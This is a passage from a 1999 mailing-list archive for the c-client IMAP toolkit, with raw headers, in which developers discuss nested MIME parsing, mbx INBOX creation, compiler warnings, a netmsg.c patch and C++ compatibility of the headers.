Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Aug 1999 11:22:32 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id LAA19129 for ; Thu, 26 Aug 1999 11:22:31 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id LAA15582; Thu, 26 Aug 1999 11:22:29 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id LAA24017; Thu, 26 Aug 1999 11:21:43 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA15068 for ; Thu, 26 Aug 1999 11:20:55 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with ESMTP id LAA12198 for ; Thu, 26 Aug 1999 11:20:54 -0700 Received: from gatecoms.gatecom.com (gatecoms.gatecom.com [209.69.206.251]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id LAA21389 for ; Thu, 26 Aug 1999 11:20:54 -0700 Received: (from ptr@localhost) by gatecoms.gatecom.com (8.8.7/8.8.7) id OAA29710; Thu, 26 Aug 1999 14:22:14 -0400 (EDT) Message-Id: Date: Thu, 26 Aug 1999 14:22:14 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "J. T. Breitner" To: c-client@CAC.Washington.EDU Subject: Nested MIME types/parts MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: ptr@gatecoms X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I've fought with this one for a week, thinking I could find the problem myself. I thought I had a clear understanding of how c-client deals with nested mime components with in a message body, but now I'm doubting that. Here's the concept, people forwarding copies of copies of copies of a mail message. You've seen it, they all use something like Outlook, which takes the previous message, wraps it within a new MIME message and off it goes...where the next recipient thinks that their friend should see this, and repeats the process. When parsing through the body parts, mail_fetchbody() seems to grab the whole RFC822 body. Where are the individually wrapped pieces? -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Aug 26 11:29:08 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Aug 1999 11:29:08 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id LAA19546 for ; Thu, 26 Aug 1999 11:29:07 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id LAA15738; Thu, 26 Aug 1999 11:29:05 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id LAA09144; Thu, 26 Aug 1999 11:28:28 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA37578 for ; Thu, 26 Aug 1999 11:26:20 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with ESMTP id LAA28042 for ; Thu, 26 Aug 1999 11:26:19 -0700 Received: from dribble.cme.nist.gov (dribble.cme.nist.gov [129.6.32.31]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id LAA15665 for ; Thu, 26 Aug 1999 11:26:19 -0700 Received: from cme.nist.gov (torque.mel.cme.nist.gov [129.6.71.120]) by dribble.cme.nist.gov (8.9.3/8.9.3) with ESMTP id OAA16483 for ; Thu, 26 Aug 1999 14:26:17 -0400 (EDT) Message-Id: <37C586C8.BF9EFADB@cme.nist.gov> Date: Thu, 26 Aug 1999 14:26:16 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Steve Barber To: c-client@CAC.Washington.EDU Subject: mbx-format INBOX ignored MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: steveb@cme.nist.gov X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN A (hopefully) quick question: I'm using imapd from the 4.6.BETA that was current around mid-June. I'm just building it pretty much straight out of the box. This is on a Solaris 2.6 machine. So far so good - using standard UNIX mailboxes (/var/mail/user == INBOX) everything works fine. However, when I build the imap-utils and run mbxcreat to create an INBOX in my home directory, the daemon never seems to find it - it continues to use the spool file as the INBOX, leaving the INBOX file untouched. The drivers.txt file implies that just the presence of this file should be enough to make imapd start using it, yet this isn't happening. I'm not using a (non-supported) config file or anything like that. How best can I track this down? Steve -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Aug 26 12:06:34 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Aug 1999 12:06:34 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id MAA20458 for ; Thu, 26 Aug 1999 12:06:33 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id MAA22781; Thu, 26 Aug 1999 12:06:31 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id MAA27520; Thu, 26 Aug 1999 12:05:50 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA32764 for ; Thu, 26 Aug 1999 12:05:14 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with ESMTP id MAA01390 for ; Thu, 26 Aug 1999 12:05:13 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (fwa@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id MAA16843 for ; Thu, 26 Aug 1999 12:05:13 -0700 Message-Id: Date: Thu, 26 Aug 1999 12:04:02 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Steve Barber Cc: c-client@CAC.Washington.EDU Subject: re: mbx-format INBOX ignored In-Reply-To: <37C586C8.BF9EFADB@cme.nist.gov> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 26 Aug 1999 14:26:16 -0400, Steve Barber wrote: > However, when I build the imap-utils and > run mbxcreat to create an INBOX in my home directory, the daemon never > seems to find it - it continues to use the spool file as the INBOX, > leaving the INBOX file untouched. What is the exact command that you used to mbxcreat to create the INBOX file? The correct command to create an mbx-format INBOX is: mbxcreat #driver.mbx/INBOX From pinedev@shivax2.cac.washington.edu Thu Aug 26 12:22:36 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Aug 1999 12:22:36 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id MAA08781 for ; Thu, 26 Aug 1999 12:22:35 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id MAA23215; Thu, 26 Aug 1999 12:22:33 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id MAA11733; Thu, 26 Aug 1999 12:21:26 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA52974 for ; Thu, 26 Aug 1999 12:20:15 -0700 Received: from molbio.unmc.edu (molbio.unmc.edu [137.197.214.37]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with ESMTP id MAA28017 for ; Thu, 26 Aug 1999 12:20:13 -0700 Received: from windsurf2 (windsurf2.unmc.edu [137.197.214.115]) by molbio.unmc.edu (8.9.1b+Sun/8.9.1) with ESMTP id OAA18732; Thu, 26 Aug 1999 14:21:33 -0500 (CDT) Message-Id: <4.2.0.58.19990826142051.00c1fdf0@137.197.214.37> Date: Thu, 26 Aug 1999 14:22:12 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Chad Price To: Mark Crispin Cc: c-client@u.washington.edu Subject: re: OSF 4.0F compile failure using cc In-Reply-To: References: <4.2.0.58.19990825163735.00b429f0@137.197.214.37> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Sender: cprice@137.197.214.37 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN At 02:59 PM 8/25/1999 -0700, you wrote: >Either get a newer version of the OSF C compiler, or get an updated IMAP >toolkit > ftp://ftp.cac.washington.edu/mail/imap.tar.Z >that works around the problem. > >The underlying problem is a bug in the OSF C compiler. It is not the first >such bug; that compiler has also generated bad code (for example, post >incremented shorts). This comes out of imap-4.6.BETA: cc -g3 -O2 -Olimit 1500 -DNFSKLUDGE -c mail.c -o mail.o cc: Warning: mail.c, line 2832: In this statement, the referenced type of the pointer value "s" is "signed char", which is not compatible with "unsigned char". (ptrmismatch) if (h.data = s) { /* have any text? */ ------^ cc -g3 -O2 -Olimit 1500 -DNFSKLUDGE -c misc.c -o misc.o Chad Price Systems Manager University of Nebraska Medical Center 600 S 42nd St Omaha, NE 68506-6495 cprice@molbio.unmc.edu (402) 559-9527 (402) 559-4077 (FAX) From pinedev@shivax2.cac.washington.edu Thu Aug 26 12:23:51 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Aug 1999 12:23:51 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id MAA20924 for ; Thu, 26 Aug 1999 12:23:48 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id MAA17386; Thu, 26 Aug 1999 12:23:47 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id MAA28271; Thu, 26 Aug 1999 12:22:21 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA52794 for ; Thu, 26 Aug 1999 12:21:30 -0700 Received: from rose.muohio.edu (rose.muohio.edu [134.53.253.5]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with ESMTP id MAA28189 for ; Thu, 26 Aug 1999 12:21:29 -0700 Received: from mooresm (mooresm.mcs.muohio.edu [134.53.64.141]) by rose.muohio.edu (8.9.1/8.9.1) with SMTP id PAA23728 for ; Thu, 26 Aug 1999 15:21:26 -0400 Message-Id: <4.1.19990826151611.00a3a320@po.muohio.edu> Date: Thu, 26 Aug 1999 15:21:32 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Steve Moore To: c-client@u.washington.edu Subject: imap-4.5, Solaris 2.7 and nds for solaris Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Sender: mooresm@po.muohio.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a weird question but there has to be an answer somewhere. I have imap-4.5 installed on a Solaris 2.7 system that is using Novell's nds for Solaris (pam). I am setting up the Solaris machine as a campus pop server. When the /var/mail/userid directory is created (I presume by /bin/mail) the ownerid is upcased, i.e. -rw-rw---- 1 TESTING mail 1420 Aug 24 23:10 testing Since the ownerid is TESTING but the userid is "testing" this is preventing ipop3d from delivering the mail. So far the only solution I can come up with is to reinstall 20,000+ novell ids as lower case. Any suggestions for another solution would be most appreciated Steve Moore Software Coordinator Miami University Oxford, OH email:mooresm@muohio.edu voice:513-529-1452 fax:513-529-9665 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Aug 26 12:40:02 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Aug 1999 12:40:02 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id MAA07718 for ; Thu, 26 Aug 1999 12:40:01 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id MAA23626; Thu, 26 Aug 1999 12:39:59 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id MAA12476; Thu, 26 Aug 1999 12:39:10 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA08336 for ; Thu, 26 Aug 1999 12:38:35 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with ESMTP id MAA24344 for ; Thu, 26 Aug 1999 12:38:34 -0700 Received: from dribble.cme.nist.gov (dribble.cme.nist.gov [129.6.32.31]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id MAA17787; Thu, 26 Aug 1999 12:38:32 -0700 Received: from cme.nist.gov (torque.mel.cme.nist.gov [129.6.71.120]) by dribble.cme.nist.gov (8.9.3/8.9.3) with ESMTP id PAA17419; Thu, 26 Aug 1999 15:38:30 -0400 (EDT) Message-Id: <37C597B6.F501EBD7@cme.nist.gov> Date: Thu, 26 Aug 1999 15:38:30 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Steve Barber To: Mark Crispin Cc: c-client@CAC.Washington.EDU Subject: Re: mbx-format INBOX ignored References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: steveb@cme.nist.gov X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > What is the exact command that you used to mbxcreat to create the INBOX file? > > The correct command to create an mbx-format INBOX is: > mbxcreat #driver.mbx/INBOX That was the problem. The name of the program caused me to assume that it was specifically creating an mbx mailbox. I see now that it's a more generic tool than that. Anyway, it's working now - thanks! (There's a message in the archives that shows just "mbxcreat filename" too, with the driver component, which helped mislead me.) Steve From pinedev@shivax2.cac.washington.edu Thu Aug 26 12:49:32 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Aug 1999 12:49:31 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id MAA19695 for ; Thu, 26 Aug 1999 12:49:30 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id MAA18025; Thu, 26 Aug 1999 12:49:28 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id MAA05687; Thu, 26 Aug 1999 12:48:35 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA29848 for ; Thu, 26 Aug 1999 12:48:02 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with ESMTP id MAA31780 for ; Thu, 26 Aug 1999 12:48:02 -0700 Received: from dribble.cme.nist.gov (dribble.cme.nist.gov [129.6.32.31]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id MAA23835; Thu, 26 Aug 1999 12:48:00 -0700 Received: from cme.nist.gov (torque.mel.cme.nist.gov [129.6.71.120]) by dribble.cme.nist.gov (8.9.3/8.9.3) with ESMTP id PAA17542; Thu, 26 Aug 1999 15:47:58 -0400 (EDT) Message-Id: <37C599ED.6891FFD5@cme.nist.gov> Date: Thu, 26 Aug 1999 15:47:57 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Steve Barber To: Mark Crispin , c-client@CAC.Washington.EDU Subject: Re: mbx-format INBOX ignored References: <37C597B6.F501EBD7@cme.nist.gov> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: steveb@cme.nist.gov X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Steve Barber wrote: > (There's a message in the archives that shows just "mbxcreat filename" > too, with the driver component, which helped mislead me.) Ack, I meant *without* the driver component. Steve From pinedev@shivax2.cac.washington.edu Fri Aug 27 01:45:10 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Fri, 27 Aug 1999 01:45:09 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id BAA32475 for ; Fri, 27 Aug 1999 01:45:08 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.08/8.9.3+UW99.08) with ESMTP id BAA32637; Fri, 27 Aug 1999 01:45:06 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id BAA19541; Fri, 27 Aug 1999 01:44:24 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA40482 for ; Fri, 27 Aug 1999 01:43:32 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with ESMTP id BAA04798 for ; Fri, 27 Aug 1999 01:43:32 -0700 Received: from sneezy.vocalis.com (sneezy.vocalis.com [195.152.18.63]) by mx1.cac.washington.edu (8.9.3+UW99.08/8.9.3+UW99.08) with SMTP id BAA05555 for ; Fri, 27 Aug 1999 01:43:31 -0700 Received: (from edmund@localhost) by sneezy.vocalis.com (8.6.12/8.6.6) id KAA15107 for c-client@cac.washington.edu; Fri, 27 Aug 1999 10:42:56 +0200 Message-Id: <19990827094256.A15030@sneezy.vocalis.com> Date: Fri, 27 Aug 1999 09:42:56 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Edmund GRIMLEY EVANS To: c-client@CAC.Washington.EDU Subject: extra blank line added by netmsg.c Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN It seems that netmsg.c is adding an extra blank line to the end of messages fetched by POP3. Is there a reason for this behaviour? (I can't see anything in RFC 1939 about it, but it might be needed to work around a bug in some widely used software, or something like that.) I've patched my copy as follows as I find it keeps the rfc822_size consistent between server and client. --- netmsg.c.orig Fri May 9 20:25:22 1997 +++ netmsg.c Wed Aug 4 16:52:02 1999 @@ -117,8 +117,6 @@ fs_give ((void **) &s); /* free the line */ } if (f) { /* making a file? */ - fwrite ("\015\012",1,2,f); - *size += 2; /* write final newline */ /* rewind to start of file */ fseek (f,(unsigned long) 0,L_SET); } -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Aug 27 04:26:29 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Fri, 27 Aug 1999 04:26:28 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id EAA04679 for ; Fri, 27 Aug 1999 04:26:27 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.08/8.9.3+UW99.08) with ESMTP id EAA07914; Fri, 27 Aug 1999 04:26:25 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id EAA05017; Fri, 27 Aug 1999 04:25:53 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id EAA49536 for ; Fri, 27 Aug 1999 04:23:23 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.9.3+UW99.08/8.9.3+UW99.08) with ESMTP id EAA11645 for ; Fri, 27 Aug 1999 04:23:23 -0700 Received: from phy.hw.ac.uk (root@innpin.phy.hw.ac.uk [137.195.28.2]) by mx2.cac.washington.edu (8.9.3+UW99.08/8.9.3+UW99.08) with ESMTP id EAA02169 for ; Fri, 27 Aug 1999 04:23:22 -0700 Received: from bidean (bidean [137.195.28.36]) by phy.hw.ac.uk (8.8.8/8.8.8) with ESMTP id MAA15032; Fri, 27 Aug 1999 12:23:08 +0100 (BST) Message-Id: <199908271123.MAA15032@phy.hw.ac.uk> Date: Fri, 27 Aug 1999 12:22:43 +0100 (BST) Reply-To: c-client@CAC.Washington.EDU Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Karsten Ballueder To: "J. T. Breitner" , c-client@CAC.Washington.EDU Subject: Re: Nested MIME types/parts In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V /Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=C d|PGg=20 >=20 > I've fought with this one for a week, thinking I could find the problem= =20 > myself. I thought I had a clear understanding of how c-client deals > with nested mime components with in a message body, but now I'm doubting= =20 > that. >=20 > Here's the concept, people forwarding copies of copies of copies of a=20 > mail message. You've seen it, they all use something like=20 > Outlook, which takes the previous message, wraps it within a new MIME=20 > message and off it goes...where the next recipient thinks that their=20 > friend should see this, and repeats the process. >=20 > When parsing through the body parts, mail_fetchbody() seems to grab the= =20 > whole RFC822 body. Where are the individually wrapped pieces? Inside the RFC822 content which you can parse to get a new body structure for it. -- Karsten Ball=FCder http://Ballueder.home.dhs.org/ mailto:karsten@phy.hw.= ac.uk Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, Scotland Tel. +44-(0)-131-4513068 Fax. +44-(0)-131-4513136 "In a world without fences, who needs Gates?" =20 From pinedev@shivax2.cac.washington.edu Fri Aug 27 08:25:40 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Fri, 27 Aug 1999 08:25:39 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id IAA06870 for ; Fri, 27 Aug 1999 08:25:38 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.08/8.9.3+UW99.08) with ESMTP id IAA11815; Fri, 27 Aug 1999 08:25:37 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id IAA02889; Fri, 27 Aug 1999 08:24:49 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA47520 for ; Fri, 27 Aug 1999 08:23:44 -0700 Received: from modulo.cal.fr (modulo.cal.fr [194.51.223.61]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with ESMTP id IAA06543 for ; Fri, 27 Aug 1999 08:23:43 -0700 Received: from mtp.cal.fr (romain.cal.fr [192.168.1.5]) by modulo.cal.fr (8.8.7/8.8.7) with ESMTP id RAA12490 for ; Fri, 27 Aug 1999 17:25:15 +0200 Message-Id: <37C6AD97.5C81F313@mtp.cal.fr> Date: Fri, 27 Aug 1999 17:24:16 +0200 Reply-To: rvignes@mtp.cal.fr Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Romain Vignes To: c-client@u.washington.edu Subject: Re: Calling c-client from C++ code References: MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; x-mac-type="54455854"; x-mac-creator="4D4F5353" Content-Transfer-Encoding: 8bit X-Accept-Language: fr,en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > On Thu, 26 Aug 1999, Romain Vignes wrote: > > I do not know if the official developper(s) and maintainer(s) of the client > > is(are) listening to this thread, but I think it could be a great enhancement to > > incorporate these patches in the official package. All the c-client developper > > community will benefit from such a thing. > > The problem is that this is never-ending. There have been already been > several episodes in the past where I was asked to change lots of files > because I inadvertantly used variables with names such as "new". > "private" is just the latest, and there are documentation reasons why I > wish to use that name; it's to indictate components that are private to > c-client and the application is not to touch. I do not think so. The set of C++ reserved keyword is not infinite. It can be found inside any good book on the C++ programming language. It is not very difficult to keep an eye on this keyword set when adding new type definitions in the c-client include files. Recent source code editors can manage keywords set and display them with custom colors. I am currently using Metrowerks CodeWarrior and the C++ keywords are automatically displayed in blue. Cool !! > These names are perfectly valid names in C. No C specification reserves > these names. Even if I gave in (again) this time, there's no guarantee > that it won't happen again. It's certain to happen again. > > It's not all that difficult to work around this without patches. Just do > something like: > #define private c_client_private > #include > #undef private No, it does not work. The "function" keyword is also used in "mail.h" and this keyword can not be redefined at the pre-processor level. > If you're trying to compile c-client with a C++ compiler instead of a C > compiler, I don't know what to tell you. c-client is written in C, not > C++. I don't promise that a Fortran compiler will compile c-client > either. I suggest compiling c-client with a C compiler, and link your C++ > binaries with the resulting binaries from the C compiler. > > If you insist upon using a different programming language (and C++ *is* a > different and incompatible programming language otherwise we wouldn't be > having this discussion), take a look to see if your C++ compiler has a > flag to make it compatible with C, and use that flag. This is absolutely not what I want to do. I agree that c-client uses the C language and must be compiled with a C compiler. But today the majority of C-API's are C++ compatible. Why not c-client ?? -- Romain Vignes France Multimédia From pinedev@shivax2.cac.washington.edu Fri Aug 27 09:51:19 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Fri, 27 Aug 1999 09:51:19 -0700 (PDT) Return-Path: Received: 